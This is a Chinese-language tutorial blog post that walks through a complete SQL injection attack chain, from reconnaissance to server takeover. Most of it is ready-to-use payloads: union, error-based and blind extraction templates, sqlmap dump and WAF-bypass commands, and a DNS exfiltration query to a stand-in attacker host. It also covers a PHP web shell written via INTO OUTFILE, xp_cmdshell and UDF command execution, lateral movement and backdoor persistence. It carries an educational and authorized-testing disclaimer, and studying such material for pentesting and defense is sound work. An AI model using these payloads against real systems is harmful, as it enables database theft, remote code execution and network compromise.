SQL注入攻击链、手法、思路 入门到进阶一篇足够!

各位安全研究员、代码设计师以及渗透测试爱好者们,今天我们讲SQL注入共同解剖SQL注入的完整攻击链。我们不会停留在简单的 ' OR '1'='1 ,而是要深入骨髓,从漏洞发现到最终拿下服务器高级权限,一步步拆解,全程高能,偏重于实战与深度漏洞挖掘。

目前博主也是在学习阶段,有讲得不对或者不够清晰的地方还望各位大佬在评论区指点!

推荐刚入门的同志们先去了解一下sql语法!


目录

阶段一:侦察与指纹识别 - 寻找注入点

攻击思路:

攻击手法与实战细节:

1.目标枚举与参数发现:

2.数据库指纹识别:

3.初步注入验证

漏洞挖掘深度知识点:

阶段二:漏洞利用与数据提取 - 从注入点到信息泄露

攻击思路:

攻击手法与实战细节:

1.确认注入类型与利用技术:

联合查询注入:

报错注入:

布尔盲注:

时间盲注:

2.自动化工具(sqlmap)的深度使用:

漏洞挖掘深度知识点:

阶段三:权限提升与横向移动 - 从数据库到操作系统

攻击手法与实战细节:

1.数据库权限评估:

2.文件系统操作:

3.操作系统命令执行:

4.横向移动:

漏洞挖掘深度知识点:

总结


阶段一:侦察与指纹识别 - 寻找注入点

攻击思路:

在发动任何攻击之前,盲目的扫描是无用功。此阶段的核心思路是:将每一个用户输入点都视为潜在的攻击向量,并通过系统性的手法验证其是否存在SQL注入漏洞。这不仅仅是提交一个单引号那么简单,而是理解应用程序如何与数据库交互,并寻找其逻辑上的薄弱环节。

攻击手法与实战细节:

1.目标枚举与参数发现:

        使用爬虫工具(如Burp Suite的爬虫、gospider)或者手动浏览,收集所有可能的输入点。这包括:

  • GET/POST参数:最经典的id=1 , search=keyword
  • HTTP头部: 经常被忽略的 User-Agent ,X-Forwarded-For ,Referer , Cookie.
  • RESTful API端点: /users/123, /api/v1/products/456

        Burp Suite配置自动监测插件,DetSql是基于 BurpSuite Java 插件 API 开发的 SQL 注入探测插件,主要作用为快速从 http 流量中筛选出可能存在 SQL 注入的请求,在尽可能减少拦截的情况下提高 SQL 注入测试效率。

https://github.com/saoshao/DetSql

2.数据库指纹识别:

在确认注入点前或后,通过报错信息特定于数据库的函数/语法来识别后端数据库类型。这是至关重要的。因为Payload的构造因数据库而异。

使用的SQL语句与测试方式

MySQL:

  • 报错触发: '  AND (SELECT 1 FROM (SELECT SLEEP(5))a)--   

这是时间盲注探测,若页面响应延迟约5秒,则表明存在漏洞且后端可能是MySQL数据库

  • 版本查询: '  UNION SELECT @@version, null --        如果报错信息直接返回,可能包含Mysql关键字

这是联合查询注入,目的是直接让数据库版本显示在页面特定位置

  • 字符串连接:' AND 'foo' = 'foo (正常) 对比  ' AND 'foo' = 'bar (异常)

这是布尔盲注探测,通过观察页面真/假两种状态的差异来判断条件是否成立

Microsoft SQL Server:

  • 报错触发:' AND (SELECT db_name(0)) > 1-- -

报错注入。故意制造一个类型转换错误(试图将数据库名db_name(0)与数字1比较),如果网站显示详细错误信息,其中可能包含当前数据库的名称

  • 版本查询:' UNION SELECT @@version, null-- - 。 错误信息中常见Microsoft SQL Server

联合查询注入。用于直接获取并显示SQL Server的详细版本信息。前提是您已探明查询结果的列数,并使UNION SELECT后的列数与之相同(此例中为两列,故用null补位)

  • 字符串连接:使用+号,如 ' AND 'ab' + 'cd' = 'abcd'-- -

布尔盲注探测。用于验证注入点以及确认数据库为SQL Server (因为+是SQL Server的字符串连接符)。通过观察页面在条件为真(‘a’+'cd'等于'abcd')和为假(如‘ab’+‘cd’=‘xyz’)时的差异,来判断逻辑是否被执行。

PostgreSQL:

  • 版本查询:' UNION SELECT version(), null-- -

  • 函数调用:使用PG_SLEEP(5)进行时间盲注测试。

Oracle:

  • 版本查询:' UNION SELECT banner FROM v$version WHERE rownum=1, null FROM DUAL-- -

  • 从虚拟表查询:FROM DUAL是Oracle的特色。

3.初步注入验证

使用一组精心设计的Payload,观察应用程序的响应变化,而不仅仅是看“报错”。

SQL语法与测试方式:

逻辑真/假测试:

  • id=1 AND 1=1 -> 页面正常(真)

  • id=1 AND 1=2 -> 页面内容改变或空白(假)

  • 这表明参数id可能被直接拼接进了SQL语句。

类型混淆测试:

  • id=1(正常)

  • id=1' -> 出现数据库语法错误(直接暴露信息)

  • id=1'-- - -> 页面恢复正常(说明注释符消除了语法错误,是强注入信号)

边界案例测试:

  • 测试数字型、字符串型(带引号)、搜索型(带%)、Order By型注入

漏洞挖掘深度知识点:

二阶SQL注入:你的注入第一次被存入数据库时被正确转义了,但当应用程序从数据库取出数据并再次用于另一个SQL查询时,注入发生。挖掘方式:在用户资料、评论等可持久化储存的地方插入Payload,然后观察应用其他部分(如管理员审核评论时)是否会触发。

NoSQL注入:针对MongoDB、CouchDB等,payload完全不同。例如,MongoDB中,

{"$ne": "correctPassword"} 可能被用于绕过登录。测试时,需要将请求的Content-Type改为application/json,并发送JSON格式的恶意查询。

盲注的初步判断: 即使没有错误信息,通过AND SLEEP(5)AND (SELECT COUNT(*) FROM information_schema.tables) > 0等,观察响应时间或页面内容细微差异,为下一阶段的深度利用做准备。

阶段二:漏洞利用与数据提取 - 从注入点到信息泄露

攻击思路:

确认注入点后,本阶段的目的是最大化地利用这个漏洞,从数据库中提取敏感信息。我们将根据第一阶段识别的数据库类型和环境(是否回显错误、是联合查询还是盲注),选择最优的攻击路径。

攻击手法与实战细节:

1.确认注入类型与利用技术:

联合查询注入:

        思路:如果应用程序将数据库查询结果直接显示在页面上,这就是最直接有效的方式。

        SQL语法:

确认列数:  '  ORDER  BY  3 --    不断增加数字,直到报错,从而确认查询的列数

(例如,ORDER BY 3成功,ORDER BY 4失败,则列数为3)。

确定显示位: ' UNION SELECT 1,2,3,4-- -。 观察页面中哪个数字被显示出来,这些位置就是我们输出数据的位置。

确定显示位: ' UNION SELECT 1,2,3 --+。 观察页面中哪个数字被显示出来,这些位置就是我们输出数据的位置。

提取数据:

 ' UNION SELECT table_name, null, null FROM information_schema.tables--+

将显示位替换为我们想要查询的数据。

实战: 在MySQL中,利用information_schema数据库是核心。例如,获取所有数据库名

' UNION SELECT schema_name, null FROM information_schemata.schemata

接着获取表名:

再获取列名:

 

最后提取数据:' UNION SELECT username, password FROM users

总结

步骤目的一句语法(直接替换列数/库名/表名即可)
1. 列数确认 SELECT 返回几列' ORDER BY 3--+(逐次增大,报错前一值即列数)
2. 显示位看哪几列会回显到页面' UNION SELECT 1,2,3,4,5--+(数字换成第1步得到的列数)
3. 库名列出所有数据库' UNION SELECT schema_name,null,null,null FROM information_schema.schemata--+
4. 表名拿指定库的所有表' UNION SELECT table_name,null,null,null FROM information_schema.tables WHERE table_schema='target_db'--+
5. 列/数据先列名,再最终数据列名:' UNION SELECT column_name,null,null FROM information_schema.columns WHERE table_name='users'--+
数据:' UNION SELECT username,password,null,null FROM users--+
语法片段出现步骤在本次查询中的具体作用
ORDER BY x 列数探测利用“排序列号越界报错”判断原始 SELECT 返回的列数。
UNION SELECT把攻击者构造的查询结果拼接到原查询后,从而把数据回显到页面。
1,2,3,4,5(数字占位) 显示位用可识别的常量占住每一列,观察页面出现哪几个数字,即可知哪几列会回显。
information_schema.schemata 拖库名系统表,一行一个数据库,取出 schema_name 就能列出全部库。
information_schema.tables 和 table_schema='<指定数据库名>' 拖表名系统表,过滤指定库后,一行一个表,取出 table_name 得到该库下所有表。
information_schema.columns 和 table_name='<指定表>' 拖列名系统表,过滤指定表后,一行一个列,取出 column_name 得到该表所有字段。
SELECT username,password FROM users 拖数据已知库.表.字段后,直接把想要的数据放在回显位,完成最终信息窃取。

报错注入:

思路: 当页面不显示查询结果,但会回显数据库错误信息时,通过故意触发SQL错误,并将查询结果嵌入到错误信息中带出。

使用的SQL语法(以MySQL为例):

' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT version()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
' AND updatexml(1, CONCAT(0x7e, (SELECT @@version), 0x7e), 1)-- -

报错注入非常适合在无法使用联合查询时,快速提取关键信息片段(如数据库版本、当前用户、特定表的一条数据)。

MySQL 报错注入「一条龙」速查表

步骤目标一句即用语法(部分按需替换)说明/细节
探列数让后面 AND 不报错' 或 " 先给引号,再用 AND 1=1-- -AND 1=2-- - 看是否回显不同;若正常则列数已对齐,可直接报错注入。
爆库版本验证报错通道' AND updatexml(1,CONCAT(0x7e,VERSION(),0x7e),1)--+成功则在错误里看到 ~5.7.38~ 之类。
爆当前库先缩小范围' AND updatexml(1,CONCAT(0x7e,DATABASE(),0x7e),1)--+得到当前库名,如 security
爆表名一次拿 1 条,用 LIMIT 翻' AND updatexml(1,CONCAT(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),0x7e),1)--+改 LIMIT 1,12,1 … 循环拿到全部表。
 爆列名同上,换查询' AND updatexml(1,CONCAT(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),0x7e),1)--+循环拿到 usernamepassword 等。
爆数据把字段值拼进来' AND updatexml(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM security.users LIMIT 0,1),0x7e),1)--+得到 admin:5f4dcc3b5aa765d61d8327deb882cf99 等。
超长截断突破 32 字符限制' AND updatexml(1,CONCAT(0x7e,MID((SELECT flag FROM flag.table LIMIT 0,1),31,30),0x7e),1)--+用 MID/Substring 分段取,超过 32 字符也能拖。
备用函数updatexml 被过滤' AND extractvalue(1,CONCAT(0x7e,VERSION(),0x7e))--+extractvalue 与 updatexml 用法一致。
二次回显无 xpath 函数' AND (SELECT 1 FROM (SELECT COUNT(),CONCAT((SELECT @@version),0x3a,FLOOR(RAND(0)2))x FROM information_schema.tables GROUP BY x)a)--+利用 duplicate entry 报错,同样能把数据带出来。

布尔盲注:

思路: 页面没有回显和错误,但可以根据我们注入的语句是真还是假,返回不同的页面内容(如“存在”或“不存在”)。

1.库名总长度:

' AND (SELECT LENGTH(DATABASE()))=8--+

把 8 换成任意数字直到页面正常

2.库版本第 1 字符:

' AND (SELECT SUBSTRING((SELECT  version() ),1,1))='<字符>'--+

字符 换成任意字符继续猜 a-z/A-Z/0-9等,直到正常返回

3.当前库第 n 个表名长度
' AND (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT <n-1>,1)=<长度数字>--+
<n-1> 换成 0/1/2…(第 1 个表用 0),<长度数字> 换成 1-∞ 直到正常

当前库第 n 个表名第 x位字符
' AND (SELECT SUBSTRING(table_name,<1>,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT <n-1>,1)='<字符>'--+
<x> 换成 1/2/3…(第几位),<n-1> 同上,<字符> 换成 a-z/A-Z/0-9/_ 等直到正常。目的fuzz出数据库的某个表表名

<指定表> 第 n 列名长度
' AND (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_schema='<指定数据库>' AND table_name='<指定表>' LIMIT <n-1>,1)=<长度数字>--+
<指定数据库><指定表><n-1><长度数字> 换成实际值。

<指定表> 第 n 列名第 x位字符
' AND (SELECT SUBSTRING(column_name,<x>,1) FROM information_schema.columns WHERE table_schema='<指定数据库>' AND table_name='<指定表>' LIMIT <n-1>,1)='<字符>'--+
<x><字符> 同上按需替换。

看得有点乱?没关系还有其他的方式

步骤目标一句即用模板(只改尖括号内容)正常/异常怎么看
1. 探列数让后续 AND 不报错xyz' ORDER BY <数字>--+正常 vs 报错 → 最大不报错数字即列数
2. 布尔通道确认验证真假差异xyz' AND 1=1--+ / xyz' AND 1=2--+两次响应不同 → 可用布尔盲注
3. 库名长度先拿到当前库名字长度xyz' AND LENGTH(DATABASE())=<长度数字>--+正常即长度正确
4. 库名逐字符一位位拖库名xyz' AND SUBSTRING(DATABASE(),<k>,1)='<字符>'--+<k>第几位,<字符>a-z/0-9/_ 试到正常
5. 表数量知多少张表xyz' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE())=<数量>--+正常即表数量
6. 第 n 表长度锁定表名长度xyz' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT <n-1>,1))=<长度数字>--+<n-1> 从 0 开始
7. 第 n 表第 k 字符拖表名xyz' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT <n-1>,1),<k>,1)='<字符>'--+同上暴力字母
8. 列数量目标表列数xyz' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='<指定库>' AND table_name='<指定表>')=<数量>--+填库名、表名、数量
9. 第 n 列长度列名长度xyz' AND LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schema='<指定库>' AND table_name='<指定表>' LIMIT <n-1>,1))=<长度数字>--+改 <n-1><长度数字>
10. 第 n 列第 k 字符列名xyz' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema='<指定库>' AND table_name='<指定表>' LIMIT <n-1>,1),<k>,1)='<字符>'--+逐字母跑
11. 数据行数知多少条记录xyz' AND (SELECT COUNT(*) FROM <指定表>)=<数量>--+填表名、数量
12. 第 n 行字段长度字段值长度xyz' AND LENGTH((SELECT <指定列> FROM <指定表> LIMIT <n-1>,1))=<长度数字>--+填列名、表名、行号、长度
13. 第 n 行第 k 字符拖数据xyz' AND SUBSTRING((SELECT <指定列> FROM <指定表> LIMIT <n-1>,1),<k>,1)='<字符>'--+逐字符跑完整条数据

这里推荐多去靶场练习,把经常用的语法记录下来,多打多练自然就记住了

这是一个逐位、逐字符的猜解过程,极其繁琐,必须使用自动化工具(如sqlmap, 或自定义Python脚本)。核心是编写一个能够根据页面差异(长度、关键词、HTML结构)判断True/False的算法。

时间盲注:

思路: 连页面内容差异都没有,只能通过让数据库执行延迟函数,根据响应时间来判断注入语句的真假

Microsoft SQL Server数据库:   '; IF (1=1) WAITFOR DELAY '0:0:<秒>'--+

条件真→延迟 <秒> 秒;假→立即返回。

通用布尔转延迟:   '; IF (<条件>) WAITFOR DELAY '0:0:<秒>'--+ 

把 <条件> 换成任何布尔子查询,如 SUBSTRING(Password,1,1)='a'

逐字符拖数据:  '; IF (SELECT COUNT(*) FROM Users WHERE Username='Administrator' AND SUBSTRING(Password,<k>,1)='<字符>')=1 WAITFOR DELAY '0:0:<秒>'--+

<k> 第几位,<字符> 从 a-z/0-9 跑,出现延迟即命中。

2.自动化工具(sqlmap)的深度使用:

  • 思路: 手动注入用于理解和验证,但数据提取阶段应善用工具提升效率。

  • 实战命令示例:

    • 基础检测: sqlmap -u "http://example.com/page?id=1"

    • 指定数据库类型: sqlmap -u ... --dbms=mysql

    • 获取所有数据库: sqlmap -u ... --dbs

    • 获取当前数据库的表: sqlmap -u ... -D target_db --tables

    • 获取表的列: sqlmap -u ... -D target_db -T users --columns

    • dump数据: sqlmap -u ... -D target_db -T users -C username,password --dump

    • 处理复杂请求: sqlmap -r request.txt (将Burp抓到的完整请求保存到文件)

    • 绕过WAF: sqlmap -u ... --tamper=space2comment,charencode --level=5 --risk=3

具体可以看看以前的文章,有详细介绍怎么使用Sqlmap

漏洞挖掘深度知识点:

OOB(带外)数据渗出: 在网络隔离极其严格,无法通过HTTP响应直接回传数据时使用。通过SQL语句触发一个到外域DNS或HTTP请求,将数据作为请求的一部分带出。例如,在MySQL中可以利用LOAD_FILE()函数去请求一个包含查询结果的URL:

' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.your-attacker-server.com\\test'))-- -

 你在你的DNS日志中就能看到密码。

过滤绕过技巧:

  • 大小写混淆: UnIoN SeLeCt

  • 内联注释: /*!UNION*/ /*!SELECT*/ (MySQL特有)

  • URL编码/双重URL编码: %55nion -> U%6Eion

  • 使用非常见函数/语法: 如果UNIONSELECT被过滤,尝试使用AND的布尔盲注或报错注入。

如果有需要的话可以出一篇专门讲绕过技巧的

阶段三:权限提升与横向移动 - 从数据库到操作系统

攻击思路:
提取数据(如用户名和密码哈希)只是开始。本阶段的终极目标是突破数据库的沙箱,获得在数据库服务器乃至整个内网中执行命令的能力。这需要数据库本身存在高权限配置,并利用其高级功能。

攻击手法与实战细节:

1.数据库权限评估:

思路: 确认当前数据库用户的权限级别,判断是否具备文件读写、命令执行等高危操作的资格。

使用的SQL语法:

  • MySQL: SELECT CURRENT_USER(); 或 SELECT SUPER_PRIV FROM mysql.user WHERE user = CURRENT_USER(); (查看是否有SUPER权限)。 SELECT file_priv FROM mysql.user WHERE user = CURRENT_USER(); (查看是否有FILE权限)。

  • MSSQL: SELECT IS_SRVROLEMEMBER('sysadmin'); (是否为系统管理员)。 SELECT HAS_DBACCESS('master'); (是否能访问系统数据库)。

  • PostgreSQL: SELECT current_user; 通常PostgreSQL以低权限运行,需要超级用户权限才能执行命令。

2.文件系统操作:

思路: 如果具备FILE权限,可以读取服务器上的敏感文件,或写入Web Shell。

SQL语法与实战:

MySQL读取文件: ' UNION SELECT LOAD_FILE('/etc/passwd'), null-- -

MySQL写入Web Shell: 这是拿下Web服务器的关键一步。

  • 前提:知道网站的绝对路径(可以通过报错、漏洞扫描或读取服务器配置文件猜解)。

  • Payload: ' UNION SELECT "<?php system($_GET['cmd']); ?>", null INTO OUTFILE '/var/www/html/shell.php'-- -

  • 访问 http://target.com/shell.php?cmd=whoami,即可执行系统命令。

PostgreSQL: 使用COPYpg_read_file()函数读写文件。

MSSQL: 使用xp_cmdshell(如果启用)或OPENROWSET进行文件访问。

3.操作系统命令执行:

这是权限提升的“皇冠”,直接获得一个系统Shell。

SQL语法:

MSSQL - xp_cmdshell:

  • 首先检查是否启用:EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell';

  • 如果未启用,尝试启用:EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

  • 执行命令:EXEC xp_cmdshell 'whoami';

MySQL - 利用UDF(用户自定义函数):

这是一个更复杂但强大的技术。由于MySQL默认没有命令执行函数,需要我们自己编译或寻找一个恶意的共享库(.dll for Windows, .so for Linux)。

步骤:

  1. 将恶意共享库写入到数据库服务器的插件目录(通过SELECT @@plugin_dir查询)。

  2. 使用CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf_sys_exec.so'; 从共享库中创建函数。

  3. 现在可以像调用普通函数一样执行命令:SELECT sys_exec('whoami');

自动化工具如sqlmap可以自动完成这个过程:sqlmap -u ... --os-cmd=whoami --os-shell

PostgreSQL: 如果以超级用户运行,可以使用COPY FROM PROGRAMCREATE FUNCTION配合C语言扩展来执行命令。

4.横向移动:

你已经获得了数据库服务器的控制权。现在,以它为跳板,攻击内网中的其他机器。

实战:

  • 信息收集: 在数据库服务器上执行ipconfig /all (Windows) 或 ifconfig / ip addr (Linux) 查看内网网段。

  • ARP扫描: 上传nmap等工具,对内网进行扫描:nmap -sn 192.168.1.0/24

  • 密码重用: 检查数据库连接字符串、配置文件,可能包含应用服务器、其他数据库的明文密码。

  • 哈希传递/票据传递: 在Windows域环境中,如果数据库服务是以域账户运行的,你可能能dump出内存中的Kerberos票据或NTLM哈希,用于访问其他域资源。

漏洞挖掘深度知识点:

利用数据库链接: 在MSSQL中,可以创建到另一台SQL服务器的链接服务器。如果你控制了第一台,可能通过链接服务器在第二台上执行查询甚至命令,实现横向移动。

CLR集成(MSSQL): 允许在SQL Server中运行.NET代码,这为攻击者提供了一个强大的命令执行途径。

权限维持: 在数据库层面,可以创建隐藏的存储过程、触发器(例如,在用户登录时后门触发),或者在操作系统层面,创建计划任务、服务等,确保即使漏洞被修复,我们依然能保持访问。

总结

一条完整的SQL注入攻击链,从最初的参数侦察,到中期的数据渗出,再到最后的权限提升与横向移动,环环相扣,深度和广度都远超常人想象。作为一名渗透测试人员或安全研究员,理解并掌握这条攻击链的每一个环节,不仅能让你更有效地发现和利用漏洞,更能让你深刻理解防御体系的构建重点。

记住,发现漏洞是开始,而不是结束。 真正的艺术在于,如何将一个看似微不足道的注入点,转化为对整个网络基础设施的完全控制。


免责声明: 本文所有技术内容仅用于教育、安全研究和授权的渗透测试。未经授权对任何系统进行测试或攻击均属违法行为。

评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值